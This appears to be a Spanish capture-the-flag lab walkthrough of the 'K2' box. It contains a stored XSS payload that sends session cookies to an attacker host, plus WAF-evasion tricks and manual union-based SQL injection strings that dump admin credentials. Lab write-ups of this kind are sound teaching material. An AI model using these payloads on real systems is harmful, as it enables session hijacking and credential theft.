🏔️K2 - 1/3 (Linux)
They have only provided you with their external website called k2.thm
Enumeración de Red
Nmap
autoscan 10.10.135.22Resultado Nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fb:52:02:e8:d9:4b:83:1a:52:c9:9c:b8:43:72:83:71 (RSA)
|   256 37:94:6e:99:c2:4f:24:56:fd:ac:77:e2:1b:ec:a0:9f (ECDSA)
|_  256 8f:3b:26:92:67:ec:cc:05:30:27:17:c5:df:9a:42:d2 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Dimension by HTML5 UP
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEnumeración de Servicio Web -p80
k2.thm →
/etc/hosts
Enumeración de Subdominios
ffuf -H "Host: FUZZ.k2.thm" -u <http://k2.thm> -w ~/Hunting/Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -c -fw 811admin          [Status: 200, Size: 967, Words: 298, Lines: 24, Duration: 62ms]
it             [Status: 200, Size: 1083, Words: 322, Lines: 25, Duration: 61ms]it.k2.thm & admin.k2.thm →
/etc/hosts
Enumeración de Subdominio - it.k2.thm
Enumeración de Directorios
ffuf -u <http://it.k2.thm/FUZZ> -w ~/Hunting/Wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -clogin            [Status: 200, Size: 1083, Words: 322, Lines: 25, Duration: 78ms]
register         [Status: 200, Size: 1189, Words: 349, Lines: 26, Duration: 64ms]
logout           [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 63ms]
dashboard        [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 61ms]Funciones
Registrar cuenta (username, password, email)
Iniciar sesión (username, password)
Análisis Workflow
Registro de cuenta → Acceso a función enviar ticket → ticket se revisa por admin?
Session hijacking via Stored XSS en Ticket?
Explotación: Session Hijacking via SXSS Cookie Stealer
Payload
"><script>new Image().src='https://<ip-a>:8000/?c='+document.cookie</script>ERROR: String
document.cookieactiva el WAF
Ofuscación de string
document["cookie"];nc -lvnp <port>POST /dashboard
.....
title=title&description="><script>new+Image().src%3d'http%3a//<ip-a>%3a1234/?c='%2bdocument["cookie"];</script>"GET /?c=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.aJcFMg.1Fl6875oV7U9KKaTrB2hNKZBRlg HTTP/1.1" 200 "Subdominio: admin.k2.thm
admin.k2.thmInyectar cookies de sesión en navegador → Redirección:
admin.k2.thm/dashboard
Compromiso Inicial de Cuenta
Acceso a panel administrativo
Enumeración Post-Compromiso
Tickets
User 	Title 	Description
--------------------------
smokey 	help 	my computer won't start
hazel 	help 	what is my password?
paco 	i got it 	8675309 is jenny's numberUsuarios: smokey, hazel, paco, jenny
Función
Select Ticket by Title
Potencial SQLi?
Análisis
Single quote
'→ 500 internal errorSQLMap → Trigger WAF
Inyección manual?
Explotación: In-Band Union-based SQLi
Trigger error
title=' # ERRORResolviendo query error
title='--+uwuDetectando número de columnas
title='ORDER+BY+4--+uwu # ERRORSolo hay 3 columnas
Extrayendo DB name
title='UNION+SELECT+1,2,database()--+uwuticketsite
Extrayendo tablas
title='UNION+SELECT+1,2,table_name+FROM+information_schema.tables+WHERE+table_schema+=+'ticketsite'--+uwuadmin_auth auth_users tickets
Extrayendo columnas
title='UNION+SELECT+1,2,column_name+FROM+information_schema.columns+WHERE+table_name+=+'admin_auth'--+uwuadmin_username admin_password email
Extrayendo credenciales de admin
title='UNION+SELECT+1,admin_username,admin_password+FROM+admin_auth--+uwujames:Pwd@9tLNrC3!
Inicio de sesión por SSH?
Intrusión en el Sistema
Shell: James
Enumeración Post-Compromiso
Enumeración Local Users
cat /etc/passwd | grep bashroot:x:0:0:root:/root:/bin/bash
rose:x:1001:1001:Rose Bud:/home/rose:/bin/bash
james:x:1002:1002:James Bold:/home/james:/bin/bashUsuarios locales: james, rose, root
Enumeración membresía grupos
id4(adm) - admin log reader
Escalada de Privilegios: ADM Group - Auth Logs
Información Sensible en Logs
cd /var/log ; grep -Ri rose"GET /login?username=rose&password=RdzQ7MSKt)fNaz3! HTTP/1.1"rose:RdzQ7MSKt)fNaz3!
su rose
>passwordAuthentication Failure
su rootCompromiso del Sistema
Shell: root
Última actualización